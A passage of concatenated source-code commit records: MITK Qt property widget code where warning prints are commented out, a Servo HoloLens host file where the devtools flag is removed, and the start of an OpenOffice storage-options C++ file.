(((QLineEdit*)m_Control)->hasAcceptableInput())\n {\n m_Control->setPaletteForegroundColor(Qt::black);\n int value = text.toInt();\n mitk::IntProperty* intProp = dynamic_cast<mitk::IntProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n if (value != intProp->GetValue())\n {\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::IntProperty(value));\n }\n }\n else\n {\n m_Control->setPaletteForegroundColor(Qt::red);\n }\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::ColorControlActivated()\n{\n mitk::ColorProperty* colorProp = dynamic_cast<mitk::ColorProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n mitk::Color col = colorProp->GetColor();\n QColor result = QColorDialog::getColor(QColor((int)(col.GetRed() * 255), (int)(col.GetGreen() * 255), (int)(col.GetBlue() * 255)));\n if (result.isValid())\n {\n col.SetRed(result.red() \/ 255.0);\n col.SetGreen(result.green() \/ 255.0);\n col.SetBlue(result.blue() \/ 255.0);\n colorProp->SetColor(col);\n m_PropertyList->InvokeEvent(itk::ModifiedEvent());\n m_Control->setPaletteBackgroundColor(result);\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n }\n}\n\n\nvoid QmitkPropertyListViewItem::UpdateView()\n{\n m_Control->blockSignals(true);\n mitk::BaseProperty* baseProp = m_PropertyList->GetProperty(m_Name.c_str());\n if (mitk::BoolProperty* boolProp = dynamic_cast<mitk::BoolProperty*>(baseProp))\n {\n if (QCheckBox* cb = dynamic_cast<QCheckBox*>(m_Control)) {\n cb ->setChecked(boolProp->GetValue());\n } else {\n std::cout << \"warning: non-checkbox control for bool property \" << m_Name << std::endl;\n }\n }\n else if (mitk::StringProperty* stringProp = dynamic_cast<mitk::StringProperty*>(baseProp))\n {\n if (QLineEdit* qle = dynamic_cast<QLineEdit*>(m_Control)) {\n qle->setText(QString(stringProp->GetValue()));\n} else {\n std::cout << \"warning: non-lineedit control for string property \" << m_Name << std::endl;\n}\n\n }\n else if (mitk::FloatProperty* floatProp = dynamic_cast<mitk::FloatProperty*>(baseProp))\n {\n QString text;\n text.setNum(floatProp->GetValue());\n ((QLineEdit*)(m_Control))->setText(text);\n }\n\n else if (mitk::ColorProperty* colorProp = dynamic_cast<mitk::ColorProperty*>(baseProp))\n {\n mitk::Color col = colorProp->GetColor();\n QColor qcol((int)(col.GetRed() * 255), (int)(col.GetGreen() * 255),(int)( col.GetBlue() * 255));\n ((QPushButton*)(m_Control))->setPaletteBackgroundColor(qcol);\n }\n \n else if (mitk::EnumerationProperty* enumerationProp = dynamic_cast<mitk::EnumerationProperty*>(baseProp))\n {\n QComboBox* combo = ( ( QComboBox* ) m_Control );\n std::string enumerationValue = enumerationProp->GetValueAsString();\n for ( int item = 0 ; item < combo->count() ; ++item )\n {\n if ( enumerationValue == combo->text( item ).latin1() )\n {\n combo->setCurrentItem( item );\n break;\n }\n }\n }\n m_Control->blockSignals(false);\n}\n\n\nvoid QmitkPropertyListViewItem::UpdateEnabledView()\n{\n static const QPixmap enabledPix((const char **)enabled_xpm);\n static const QPixmap disabledPix((const char **)disabled_xpm);\n if (m_PropertyList->IsEnabled(m_Name.c_str())) \/* baseProp->GetEnabled()) *\/\n {\n m_EnabledButton->setPixmap(enabledPix);\n if (m_Control) {m_Control->setEnabled(true);}\n if (m_Label) {m_Label->setEnabled(true);}\n }\n else\n {\n m_EnabledButton->setPixmap(disabledPix);\n if (m_Control) {m_Control->setEnabled(false);}\n if (m_Label) {m_Label->setEnabled(false);}\n }\n}\n\n\nvoid QmitkPropertyListViewItem::EnabledButtonClicked()\n{\n \/\/baseProp->SetEnabled(! baseProp->GetEnabled());\n m_PropertyList->SetEnabled(m_Name.c_str(), ! m_PropertyList->IsEnabled(m_Name.c_str()));\n UpdateEnabledView();\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::ComboBoxItemActivated(const QString &item)\n{\n mitk::EnumerationProperty* enumProp = dynamic_cast<mitk::EnumerationProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n if ( enumProp != NULL )\n {\n std::string activatedItem( item.latin1() );\n if ( activatedItem != enumProp->GetValueAsString() )\n {\n if ( enumProp->IsValidEnumerationValue( activatedItem ) )\n {\n enumProp->SetValue( activatedItem );\n m_PropertyList->InvokeEvent( itk::ModifiedEvent() );\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n }\n }\n }\n}\n\n\nvoid QmitkPropertyListViewFloatSlider::SliderValueChanged(int value)\n{\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::FloatProperty(value \/ 100.0f));\n UpdateView();\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewFloatSlider::UpdateView()\n{\n m_Slider->blockSignals(true);\n mitk::FloatProperty* floatProp = dynamic_cast<mitk::FloatProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n if (floatProp)\n {\n QString text;\n text.setNum(floatProp->GetValue(),'f',2);\n m_ValueLabel->setText(text);\n m_Slider->setValue((int)(floatProp->GetValue() * 100));\n }\n m_Slider->blockSignals(false);\n}\n\n\nvoid QmitkPropertyListViewItem::MaterialEditorActivated()\n{\n if ( mitk::MaterialProperty* materialProperty = dynamic_cast<mitk::MaterialProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer()))\n {\n QmitkMaterialEditor* materialEditor = new QmitkMaterialEditor( NULL );\n materialEditor->Initialize( materialProperty );\n if ( materialEditor->exec() == QDialog::Accepted )\n {\n m_PropertyList->InvokeEvent(itk::ModifiedEvent());\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n }\n delete materialEditor;\n }\n}\n\n<commit_msg>comment warnings<commit_after>\/*=========================================================================\n \nProgram: Medical Imaging & Interaction Toolkit\nModule: $RCSfile$\nLanguage: C++\nDate: $Date$\nVersion: $Revision$\n \nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n \nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n \n=========================================================================*\/\n\/\/ Qmitk related includes\n#include \"QmitkPropertyListViewItem.h\"\n#include \"QmitkPropertyListViewItemFactory.h\"\n#include \"QmitkMaterialEditor.h\"\n\n\/\/ mitk related includes\n#include \"mitkConfig.h\"\n#include \"mitkRenderWindow.h\"\n#include \"mitkPropertyList.h\"\n#include \"mitkProperties.h\"\n#include \"mitkColorProperty.h\"\n#include \"mitkPropertyManager.h\"\n#include \"mitkRenderingManager.h\"\n#include \"mitkEnumerationProperty.h\"\n#include \"mitkMaterialProperty.h\"\n\n\n\/\/ QT related includes\n#include <qcheckbox.h>\n#include <qlineedit.h>\n#include <qlabel.h>\n#include <qpushbutton.h>\n#include <qpixmap.h>\n#include <qcolordialog.h>\n#include <qvalidator.h>\n#include <qhbox.h>\n#include <qslider.h>\n#include <qcombobox.h>\n\n#include \"enabled.xpm\"\n#include \"disabled.xpm\"\n\n\nQmitkPropertyListViewItem::QmitkPropertyListViewItem(std::string name, mitk::PropertyList* propertyList, QWidget* parent, bool createOnlyControl) \n : m_Name(name), m_PropertyList(propertyList), m_Label(NULL), m_Control(NULL)\n{\n if (!createOnlyControl)\n {\n CreateEnabledButton(parent);\n m_Label = new QLabel(name.c_str(),parent);\n m_Label->show();\n }\n};\n\n\nvoid QmitkPropertyListViewItem::CreateEnabledButton(QWidget* parent)\n{\n m_EnabledButton = new QPushButton(parent);\n connect(\n (QObject*)(m_EnabledButton),\n SIGNAL(clicked()),\n (QObject*)(this),\n SLOT(EnabledButtonClicked())\n );\n m_EnabledButton->show();\n UpdateEnabledView();\n}\n\n\nQmitkPropertyListViewItem* QmitkPropertyListViewItem::CreateInstance(mitk::PropertyList *propList, const std::string name, QWidget* parent, bool createOnlyControl)\n{\n return QmitkPropertyListViewItemFactory::GetInstance()->CreateQmitkPropertyListViewItem(propList,name,parent,createOnlyControl);\n}\n\n\nvoid QmitkPropertyListViewItem::CheckBoxControlActivated(bool on)\n{\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::BoolProperty(on));\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::StringControlActivated(const QString &text)\n{\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::StringProperty(text.ascii()));\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::FloatControlActivated(const QString &text)\n{\n if (((QLineEdit*)m_Control)->hasAcceptableInput())\n {\n m_Control->setPaletteForegroundColor(Qt::black);\n float value = text.toFloat();\n mitk::FloatProperty* floatProp = dynamic_cast<mitk::FloatProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n if (value != floatProp->GetValue())\n {\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::FloatProperty(value));\n }\n }\n else\n {\n m_Control->setPaletteForegroundColor(Qt::red);\n }\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::IntControlActivated(const QString &text)\n{\n if (((QLineEdit*)m_Control)->hasAcceptableInput())\n {\n m_Control->setPaletteForegroundColor(Qt::black);\n int value = text.toInt();\n mitk::IntProperty* intProp = dynamic_cast<mitk::IntProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n if (value != intProp->GetValue())\n {\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::IntProperty(value));\n }\n }\n else\n {\n m_Control->setPaletteForegroundColor(Qt::red);\n }\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::ColorControlActivated()\n{\n mitk::ColorProperty* colorProp = dynamic_cast<mitk::ColorProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n mitk::Color col = colorProp->GetColor();\n QColor result = QColorDialog::getColor(QColor((int)(col.GetRed() * 255), (int)(col.GetGreen() * 255), (int)(col.GetBlue() * 255)));\n if (result.isValid())\n {\n col.SetRed(result.red() \/ 255.0);\n col.SetGreen(result.green() \/ 255.0);\n col.SetBlue(result.blue() \/ 255.0);\n colorProp->SetColor(col);\n m_PropertyList->InvokeEvent(itk::ModifiedEvent());\n m_Control->setPaletteBackgroundColor(result);\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n }\n}\n\n\nvoid QmitkPropertyListViewItem::UpdateView()\n{\n m_Control->blockSignals(true);\n mitk::BaseProperty* baseProp = m_PropertyList->GetProperty(m_Name.c_str());\n if (mitk::BoolProperty* boolProp = dynamic_cast<mitk::BoolProperty*>(baseProp))\n {\n if (QCheckBox* cb = dynamic_cast<QCheckBox*>(m_Control)) {\n cb ->setChecked(boolProp->GetValue());\n } else {\n \/\/std::cout << \"warning: non-checkbox control for bool property \" << m_Name << std::endl;\n }\n }\n else if (mitk::StringProperty* stringProp = dynamic_cast<mitk::StringProperty*>(baseProp))\n {\n if (QLineEdit* qle = dynamic_cast<QLineEdit*>(m_Control)) {\n qle->setText(QString(stringProp->GetValue()));\n} else {\n \/\/std::cout << \"warning: non-lineedit control for string property \" << m_Name << std::endl;\n}\n\n }\n else if (mitk::FloatProperty* floatProp = dynamic_cast<mitk::FloatProperty*>(baseProp))\n {\n QString text;\n text.setNum(floatProp->GetValue());\n ((QLineEdit*)(m_Control))->setText(text);\n }\n\n else if (mitk::ColorProperty* colorProp = dynamic_cast<mitk::ColorProperty*>(baseProp))\n {\n mitk::Color col = colorProp->GetColor();\n QColor qcol((int)(col.GetRed() * 255), (int)(col.GetGreen() * 255),(int)( col.GetBlue() * 255));\n ((QPushButton*)(m_Control))->setPaletteBackgroundColor(qcol);\n }\n \n else if (mitk::EnumerationProperty* enumerationProp = dynamic_cast<mitk::EnumerationProperty*>(baseProp))\n {\n QComboBox* combo = ( ( QComboBox* ) m_Control );\n std::string enumerationValue = enumerationProp->GetValueAsString();\n for ( int item = 0 ; item < combo->count() ; ++item )\n {\n if ( enumerationValue == combo->text( item ).latin1() )\n {\n combo->setCurrentItem( item );\n break;\n }\n }\n }\n m_Control->blockSignals(false);\n}\n\n\nvoid QmitkPropertyListViewItem::UpdateEnabledView()\n{\n static const QPixmap enabledPix((const char **)enabled_xpm);\n static const QPixmap disabledPix((const char **)disabled_xpm);\n if (m_PropertyList->IsEnabled(m_Name.c_str())) \/* baseProp->GetEnabled()) *\/\n {\n m_EnabledButton->setPixmap(enabledPix);\n if (m_Control) {m_Control->setEnabled(true);}\n if (m_Label) {m_Label->setEnabled(true);}\n }\n else\n {\n m_EnabledButton->setPixmap(disabledPix);\n if (m_Control) {m_Control->setEnabled(false);}\n if (m_Label) {m_Label->setEnabled(false);}\n }\n}\n\n\nvoid QmitkPropertyListViewItem::EnabledButtonClicked()\n{\n \/\/baseProp->SetEnabled(! baseProp->GetEnabled());\n m_PropertyList->SetEnabled(m_Name.c_str(), ! m_PropertyList->IsEnabled(m_Name.c_str()));\n UpdateEnabledView();\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::ComboBoxItemActivated(const QString &item)\n{\n mitk::EnumerationProperty* enumProp = dynamic_cast<mitk::EnumerationProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n if ( enumProp != NULL )\n {\n std::string activatedItem( item.latin1() );\n if ( activatedItem != enumProp->GetValueAsString() )\n {\n if ( enumProp->IsValidEnumerationValue( activatedItem ) )\n {\n enumProp->SetValue( activatedItem );\n m_PropertyList->InvokeEvent( itk::ModifiedEvent() );\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n }\n }\n }\n}\n\n\nvoid QmitkPropertyListViewFloatSlider::SliderValueChanged(int value)\n{\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::FloatProperty(value \/ 100.0f));\n UpdateView();\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewFloatSlider::UpdateView()\n{\n m_Slider->blockSignals(true);\n mitk::FloatProperty* floatProp = dynamic_cast<mitk::FloatProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n if (floatProp)\n {\n QString text;\n text.setNum(floatProp->GetValue(),'f',2);\n m_ValueLabel->setText(text);\n m_Slider->setValue((int)(floatProp->GetValue() * 100));\n }\n m_Slider->blockSignals(false);\n}\n\n\nvoid QmitkPropertyListViewItem::MaterialEditorActivated()\n{\n if ( mitk::MaterialProperty* materialProperty = dynamic_cast<mitk::MaterialProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer()))\n {\n QmitkMaterialEditor* materialEditor = new QmitkMaterialEditor( NULL );\n materialEditor->Initialize( materialProperty );\n if ( materialEditor->exec() == QDialog::Accepted )\n {\n m_PropertyList->InvokeEvent(itk::ModifiedEvent());\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n }\n delete materialEditor;\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"pch.h\"\n#include \"Servo.h\"\n\nnamespace winrt::servo {\n\nvoid on_load_started() { sServo->Delegate().OnServoLoadStarted(); }\n\nvoid on_load_ended() { sServo->Delegate().OnServoLoadEnded(); }\n\nvoid on_history_changed(bool back, bool forward) {\n sServo->Delegate().OnServoHistoryChanged(back, forward);\n}\n\nvoid on_shutdown_complete() { sServo->Delegate().OnServoShutdownComplete(); }\n\nvoid on_title_changed(const char *title) {\n sServo->Delegate().OnServoTitleChanged(char2hstring(title));\n}\n\nvoid on_url_changed(const char *url) {\n sServo->Delegate().OnServoURLChanged(char2hstring(url));\n}\n\nvoid flush() { sServo->Delegate().Flush(); }\n\nvoid make_current() { sServo->Delegate().MakeCurrent(); }\n\nvoid wakeup() { sServo->Delegate().WakeUp(); }\n\nbool on_allow_navigation(const char *url) {\n return sServo->Delegate().OnServoAllowNavigation(char2hstring(url));\n};\n\nvoid on_animating_changed(bool aAnimating) {\n sServo->Delegate().OnServoAnimatingChanged(aAnimating);\n}\n\nvoid on_panic(const char *backtrace) {\n throw hresult_error(E_FAIL, char2hstring(backtrace));\n}\n\nvoid on_ime_state_changed(bool aShow) {\n sServo->Delegate().OnServoIMEStateChanged(aShow);\n}\n\nvoid set_clipboard_contents(const char *content) {\n \/\/ FIXME\n}\n\nconst char *get_clipboard_contents() {\n \/\/ FIXME\n return nullptr;\n}\n\nvoid on_media_session_metadata(const char *title, const char *album,\n const char *artist) {\n return sServo->Delegate().OnServoMediaSessionMetadata(\n char2hstring(title), char2hstring(album), char2hstring(artist));\n}\n\nvoid on_media_session_playback_state_change(\n const capi::CMediaSessionPlaybackState state) {\n return sServo->Delegate().OnServoMediaSessionPlaybackStateChange(state);\n}\n\nvoid prompt_alert(const char *message, bool trusted) {\n sServo->Delegate().OnServoPromptAlert(char2hstring(message), trusted);\n}\n\nServo::PromptResult prompt_ok_cancel(const char *message, bool trusted) {\n return sServo->Delegate().OnServoPromptOkCancel(char2hstring(message),\n trusted);\n}\n\nServo::PromptResult prompt_yes_no(const char *message, bool trusted) {\n return sServo->Delegate().OnServoPromptYesNo(char2hstring(message), trusted);\n}\n\nconst char *prompt_input(const char *message, const char *default,\n bool trusted) {\n auto input = sServo->Delegate().OnServoPromptInput(\n char2hstring(message), char2hstring(default), trusted);\n if (input.has_value()) {\n return *hstring2char(*input);\n } else {\n return nullptr;\n }\n}\n\nServo::Servo(hstring url, hstring args, GLsizei width, GLsizei height,\n float dpi, ServoDelegate &aDelegate)\n : mWindowHeight(height), mWindowWidth(width), mDelegate(aDelegate) {\n\n capi::CInitOptions o;\n hstring defaultPrefs = L\" --pref dom.webxr.enabled --devtools=6000\";\n o.args = *hstring2char(args + defaultPrefs);\n o.url = *hstring2char(url);\n o.width = mWindowWidth;\n o.height = mWindowHeight;\n o.density = dpi;\n o.enable_subpixel_text_antialiasing = false;\n o.vr_pointer = NULL;\n\n \/\/ 7 filter modules.\n \/* Sample list of servo modules to filter.\n static char *pfilters[] = {\n \"servo\",\n \"simpleservo\",\n \"simpleservo::jniapi\",\n \"simpleservo::gl_glue::egl\",\n \/\/ Show JS errors by default.\n \"script::dom::bindings::error\",\n \/\/ Show GL errors by default.\n \"canvas::webgl_thread\",\n \"compositing::compositor\",\n \"constellation::constellation\",\n };\n *\/\n\n \/\/ Example Call when *pfilters[] is used:\n \/\/ o.vslogger_mod_list = pfilters; \/\/ servo log modules\n \/\/ o.vslogger_mod_size = sizeof(pfilters) \/ sizeof(pfilters[0]); \/\/\n \/\/ Important: Number of modules in pfilters\n o.vslogger_mod_list = NULL;\n o.vslogger_mod_size = 0;\n\n sServo = this; \/\/ FIXME;\n\n capi::CHostCallbacks c;\n c.flush = &flush;\n c.make_current = &make_current;\n c.on_load_started = &on_load_started;\n c.on_load_ended = &on_load_ended;\n c.on_title_changed = &on_title_changed;\n c.on_url_changed = &on_url_changed;\n c.on_history_changed = &on_history_changed;\n c.on_animating_changed = &on_animating_changed;\n c.on_shutdown_complete = &on_shutdown_complete;\n c.on_allow_navigation = &on_allow_navigation;\n c.on_ime_state_changed = &on_ime_state_changed;\n c.get_clipboard_contents = &get_clipboard_contents;\n c.set_clipboard_contents = &set_clipboard_contents;\n c.on_media_session_metadata = &on_media_session_metadata;\n c.on_media_session_playback_state_change =\n &on_media_session_playback_state_change;\n c.prompt_alert = &prompt_alert;\n c.prompt_ok_cancel = &prompt_ok_cancel;\n c.prompt_yes_no = &prompt_yes_no;\n c.prompt_input = &prompt_input;\n\n capi::register_panic_handler(&on_panic);\n\n capi::init_with_egl(o, &wakeup, c);\n}\n\nServo::~Servo() { sServo = nullptr; }\n\nwinrt::hstring char2hstring(const char *c_str) {\n \/\/ FIXME: any better way of doing this?\n auto str = std::string(c_str);\n int size_needed =\n MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);\n std::wstring str2(size_needed, 0);\n MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &str2[0],\n size_needed);\n winrt::hstring str3{str2};\n return str3;\n}\n\nstd::unique_ptr<char *> hstring2char(hstring hstr) {\n const wchar_t *wc = hstr.c_str();\n size_t size = hstr.size() + 1;\n char *str = new char[size];\n size_t converted = 0;\n wcstombs_s(&converted, str, size, wc, hstr.size());\n return std::make_unique<char *>(str);\n}\n\n} \/\/ namespace winrt::servo\n<commit_msg>Disable devtools for HoloLens.<commit_after>#include \"pch.h\"\n#include \"Servo.h\"\n\nnamespace winrt::servo {\n\nvoid on_load_started() { sServo->Delegate().OnServoLoadStarted(); }\n\nvoid on_load_ended() { sServo->Delegate().OnServoLoadEnded(); }\n\nvoid on_history_changed(bool back, bool forward) {\n sServo->Delegate().OnServoHistoryChanged(back, forward);\n}\n\nvoid on_shutdown_complete() { sServo->Delegate().OnServoShutdownComplete(); }\n\nvoid on_title_changed(const char *title) {\n sServo->Delegate().OnServoTitleChanged(char2hstring(title));\n}\n\nvoid on_url_changed(const char *url) {\n sServo->Delegate().OnServoURLChanged(char2hstring(url));\n}\n\nvoid flush() { sServo->Delegate().Flush(); }\n\nvoid make_current() { sServo->Delegate().MakeCurrent(); }\n\nvoid wakeup() { sServo->Delegate().WakeUp(); }\n\nbool on_allow_navigation(const char *url) {\n return sServo->Delegate().OnServoAllowNavigation(char2hstring(url));\n};\n\nvoid on_animating_changed(bool aAnimating) {\n sServo->Delegate().OnServoAnimatingChanged(aAnimating);\n}\n\nvoid on_panic(const char *backtrace) {\n throw hresult_error(E_FAIL, char2hstring(backtrace));\n}\n\nvoid on_ime_state_changed(bool aShow) {\n sServo->Delegate().OnServoIMEStateChanged(aShow);\n}\n\nvoid set_clipboard_contents(const char *content) {\n \/\/ FIXME\n}\n\nconst char *get_clipboard_contents() {\n \/\/ FIXME\n return nullptr;\n}\n\nvoid on_media_session_metadata(const char *title, const char *album,\n const char *artist) {\n return sServo->Delegate().OnServoMediaSessionMetadata(\n char2hstring(title), char2hstring(album), char2hstring(artist));\n}\n\nvoid on_media_session_playback_state_change(\n const capi::CMediaSessionPlaybackState state) {\n return sServo->Delegate().OnServoMediaSessionPlaybackStateChange(state);\n}\n\nvoid prompt_alert(const char *message, bool trusted) {\n sServo->Delegate().OnServoPromptAlert(char2hstring(message), trusted);\n}\n\nServo::PromptResult prompt_ok_cancel(const char *message, bool trusted) {\n return sServo->Delegate().OnServoPromptOkCancel(char2hstring(message),\n trusted);\n}\n\nServo::PromptResult prompt_yes_no(const char *message, bool trusted) {\n return sServo->Delegate().OnServoPromptYesNo(char2hstring(message), trusted);\n}\n\nconst char *prompt_input(const char *message, const char *default,\n bool trusted) {\n auto input = sServo->Delegate().OnServoPromptInput(\n char2hstring(message), char2hstring(default), trusted);\n if (input.has_value()) {\n return *hstring2char(*input);\n } else {\n return nullptr;\n }\n}\n\nServo::Servo(hstring url, hstring args, GLsizei width, GLsizei height,\n float dpi, ServoDelegate &aDelegate)\n : mWindowHeight(height), mWindowWidth(width), mDelegate(aDelegate) {\n\n capi::CInitOptions o;\n hstring defaultPrefs = L\" --pref dom.webxr.enabled\";\n o.args = *hstring2char(args + defaultPrefs);\n o.url = *hstring2char(url);\n o.width = mWindowWidth;\n o.height = mWindowHeight;\n o.density = dpi;\n o.enable_subpixel_text_antialiasing = false;\n o.vr_pointer = NULL;\n\n \/\/ 7 filter modules.\n \/* Sample list of servo modules to filter.\n static char *pfilters[] = {\n \"servo\",\n \"simpleservo\",\n \"simpleservo::jniapi\",\n \"simpleservo::gl_glue::egl\",\n \/\/ Show JS errors by default.\n \"script::dom::bindings::error\",\n \/\/ Show GL errors by default.\n \"canvas::webgl_thread\",\n \"compositing::compositor\",\n \"constellation::constellation\",\n };\n *\/\n\n \/\/ Example Call when *pfilters[] is used:\n \/\/ o.vslogger_mod_list = pfilters; \/\/ servo log modules\n \/\/ o.vslogger_mod_size = sizeof(pfilters) \/ sizeof(pfilters[0]); \/\/\n \/\/ Important: Number of modules in pfilters\n o.vslogger_mod_list = NULL;\n o.vslogger_mod_size = 0;\n\n sServo = this; \/\/ FIXME;\n\n capi::CHostCallbacks c;\n c.flush = &flush;\n c.make_current = &make_current;\n c.on_load_started = &on_load_started;\n c.on_load_ended = &on_load_ended;\n c.on_title_changed = &on_title_changed;\n c.on_url_changed = &on_url_changed;\n c.on_history_changed = &on_history_changed;\n c.on_animating_changed = &on_animating_changed;\n c.on_shutdown_complete = &on_shutdown_complete;\n c.on_allow_navigation = &on_allow_navigation;\n c.on_ime_state_changed = &on_ime_state_changed;\n c.get_clipboard_contents = &get_clipboard_contents;\n c.set_clipboard_contents = &set_clipboard_contents;\n c.on_media_session_metadata = &on_media_session_metadata;\n c.on_media_session_playback_state_change =\n &on_media_session_playback_state_change;\n c.prompt_alert = &prompt_alert;\n c.prompt_ok_cancel = &prompt_ok_cancel;\n c.prompt_yes_no = &prompt_yes_no;\n c.prompt_input = &prompt_input;\n\n capi::register_panic_handler(&on_panic);\n\n capi::init_with_egl(o, &wakeup, c);\n}\n\nServo::~Servo() { sServo = nullptr; }\n\nwinrt::hstring char2hstring(const char *c_str) {\n \/\/ FIXME: any better way of doing this?\n auto str = std::string(c_str);\n int size_needed =\n MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);\n std::wstring str2(size_needed, 0);\n MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &str2[0],\n size_needed);\n winrt::hstring str3{str2};\n return str3;\n}\n\nstd::unique_ptr<char *> hstring2char(hstring hstr) {\n const wchar_t *wc = hstr.c_str();\n size_t size = hstr.size() + 1;\n char *str = new char[size];\n size_t converted = 0;\n wcstombs_s(&converted, str, size, wc, hstr.size());\n return std::make_unique<char *>(str);\n}\n\n} \/\/ namespace winrt::servo\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: addxmltostorageoptions.cxx,v $\n *\n * $Revision: 1.1 $\n *\n * last change: $Author: jp $ $Date: 2000-11-29 12:15:02 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#pragma hdrstop\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ includes\n\/\/_________________________________________________________________________________________________________________\n\n#include \"addxmltostorageoptions.hxx\"\n\n#ifndef _UTL_CONFIGMGR_HXX_\n#include <unotools\/configmgr.hxx>\n#endif\n#ifndef _UTL_CONFIGITEM_HXX_\n#include <unotools\/configitem.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _TOOLS_STRING_HXX\n#include <tools\/string.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_ANY_HXX_\n#include <com\/sun\/star\/uno\/Any.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_SEQUENCE_HXX_\n#include <com\/sun\/star\/uno\/Sequence.hxx>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ namespaces\n\/\/_________________________________________________________________________________________________________________\n\nusing namespace ::utl;\nusing namespace ::rtl;\nusing namespace ::osl;\nusing namespace ::com::sun::star::uno;\n\n\/\/*****************************************************************************************************************\n\/\/ initialize static member\n\/\/ DON'T DO IT IN YOUR HEADER!\n\/\/ see definition for further informations\n\/\/*****************************************************************************************************************\nSvtAddXMLToStorageOptions_Impl* SvtAddXMLToStorageOptions::m_pDataContainer = 0;\nsal_Int32 SvtAddXMLToStorageOptions::m_nRefCount = 0;\n\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ private declarations!\n\/\/_________________________________________________________________________________________________________________\n\nclass SvtAddXMLToStorageOptions_Impl : public ConfigItem\n{\n \/\/-------------------------------------------------------------------------------------------------------------\n \/\/ public methods\n \/\/-------------------------------------------------------------------------------------------------------------\n\n public:\n\n \/\/---------------------------------------------------------------------------------------------------------\n 